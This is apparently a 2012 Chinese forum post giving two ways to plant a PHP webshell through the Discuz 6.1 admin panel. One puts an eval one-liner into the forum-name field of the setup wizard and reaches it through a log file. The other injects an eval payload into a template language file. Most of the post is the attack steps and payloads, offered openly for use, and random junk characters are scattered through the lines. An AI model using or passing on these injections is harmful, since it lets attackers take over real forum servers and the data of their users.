discuz6.1两种方法后台拿shell
! C( z$ a! B- u* L' D6 O; v, W好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
# m8 F; {. Z. i1:' {, C$ o3 Y# V, j9 F5 I
http://127.0.0.1/discuz/admincp. ... zard&frames=yes' e- X1 ^$ h+ }: u N& H# ^
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
R% M1 K+ _' W1 f$ U4 s8 ^* o5 K r* s8 v<?php eval($_POST[cmd]);?>4 f; s# V; L1 D" t& s4 z/ T
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
3 [- B; o" z/ o/ |2 [- H2 Z, t
$ d% T2 @% B- N' k4 F4 k; \2 k8 U$ R- K
2:后台模板管理--默认模板套系--详情2 m9 n/ w' g# a& _: ~, E
templates/default/actions.lang.php7 t- x M& v/ Y
jhackj\\');eval($_POST[cmd])?>;//
- Q; `0 ?" j+ m% S% [) V
( v3 o$ N O( g( E' }利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
分享
支持
反对